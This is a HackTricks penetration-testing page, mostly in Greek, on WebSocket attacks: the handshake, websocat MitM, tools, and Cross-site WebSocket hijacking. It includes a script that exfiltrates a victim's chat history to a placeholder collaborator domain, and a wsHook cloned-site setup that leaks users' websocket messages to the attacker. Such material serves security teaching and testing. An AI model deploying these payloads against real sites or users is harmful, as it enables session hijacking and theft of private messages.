WebSocket Attacks

Support HackTricks

Τι είναι τα WebSockets

Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής HTTP χειραψίας και είναι σχεδιασμένες να είναι μακροχρόνιες, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.

Δημιουργία Συνδέσεων WebSocket

Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί εδώ. Σε σύνοψη, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω:

var ws = new WebSocket("wss://normal-website.com/ws");

Ο πρωτόκολλος wss σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με TLS, ενώ το ws υποδηλώνει μια μη ασφαλή σύνδεση.

Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια διαδικασία χειραψίας μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:

Ο προγράμματος περιήγησης στέλνει ένα αίτημα χειραψίας:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Απάντηση χειραψίας του διακομιστή:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.

Βασικά Σημεία του WebSocket Handshake:

  • Οι κεφαλίδες Connection και Upgrade σηματοδοτούν την έναρξη ενός WebSocket handshake.

  • Η κεφαλίδα Sec-WebSocket-Version υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως 13.

  • Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα Sec-WebSocket-Key, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για επιβεβαίωση ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.

  • Η κεφαλίδα Sec-WebSocket-Accept στην απάντηση του διακομιστή είναι ένα hash της Sec-WebSocket-Key, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.

Αυτές οι δυνατότητες διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.

Linux console

Μπορείτε να χρησιμοποιήσετε το websocat για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ή για να δημιουργήσετε έναν διακομιστή websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα HTTP websocket από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια ARP Spoofing Attack για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή. Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Μπορείτε να χρησιμοποιήσετε το tool https://github.com/PalindromeLabs/STEWS για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές ευπάθειες σε websockets αυτόματα.

Websocket Debug tools

  • Burp Suite υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.

  • Η socketsleuth επέκταση του Burp Suite θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το ιστορικό, ρυθμίζοντας κανόνες παρεμβολής, χρησιμοποιώντας κανόνες αντιστοίχισης και αντικατάστασης, χρησιμοποιώντας Intruder και AutoRepeater.

  • WSSiP: Συντομογραφία για "WebSocket/Socket.io Proxy", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.

  • wsrepl είναι ένα διαδραστικό websocket REPL σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση εισερχόμενων μηνυμάτων websocket και αποστολής νέων, με ένα εύχρηστο πλαίσιο για αυτοματοποίηση αυτής της επικοινωνίας.

  • https://websocketking.com/ είναι μια ιστοσελίδα για επικοινωνία με άλλες ιστοσελίδες χρησιμοποιώντας websockets.

  • https://hoppscotch.io/realtime/websocket μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια ιστοσελίδα για επικοινωνία με άλλες ιστοσελίδες χρησιμοποιώντας websockets.

Websocket Lab

Στο Burp-Suite-Extender-Montoya-Course έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και σε αυτή την ανάρτηση μπορείτε να βρείτε μια εξήγηση.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, γνωστό και ως cross-origin WebSocket hijacking, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση Cross-Site Request Forgery (CSRF) που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω HTTP cookies χωρίς CSRF tokens ή παρόμοια μέτρα ασφαλείας.

Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια κακόβουλη ιστοσελίδα που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.

Simple Attack

Σημειώστε ότι όταν ιδρύεται μια websocket σύνδεση, το cookie αποστέλλεται στον διακομιστή. Ο διακομιστής μπορεί να το χρησιμοποιεί για να σχετίσει κάθε συγκεκριμένο χρήστη με τη συνεδρία websocket του βασισμένο στο αποσταλθέν cookie.

Έτσι, αν για παράδειγμα ο websocket διακομιστής επιστρέψει το ιστορικό της συνομιλίας ενός χρήστη αν αποσταλεί ένα μήνυμα με "READY", τότε μια απλή XSS που ιδρύει τη σύνδεση (το cookie θα αποσταλεί αυτόματα για να εξουσιοδοτήσει τον θύμα χρήστη) στέλνοντας "READY" θα είναι σε θέση να ανακτήσει το ιστορικό της συνομιλίας.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Σε αυτή την ανάρτηση του blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ ο επιτιθέμενος κατάφερε να εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν υποτομέας, το cookie αποστέλλονταν, και επειδή το Websocket δεν έλεγξε σωστά την προέλευση, ήταν δυνατό να επικοινωνήσει μαζί του και να κλέψει tokens από αυτό.

Stealing data from user

Αντιγράψτε την web εφαρμογή που θέλετε να μιμηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Τώρα κατεβάστε το αρχείο wsHook.js από https://github.com/skepticfx/wshook και αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού. Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:

sudo python3 -m http.server 80

Συνθήκες Αγώνα

Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, ελέγξτε αυτές τις πληροφορίες για να μάθετε περισσότερα.

Άλλες ευπάθειες

Καθώς τα Web Sockets είναι ένας μηχανισμός για να στέλνουν δεδομένα στον διακομιστή και στον πελάτη, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.

WebSocket Smuggling

Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης κάνοντάς τους να πιστεύουν ότι μια επικοινωνία websocket έχει καθιερωθεί (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να πρόσβαση σε κρυφές τελικές σημεία. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:

Upgrade Header Smuggling

Αναφορές

Υποστήριξη HackTricks

Last updated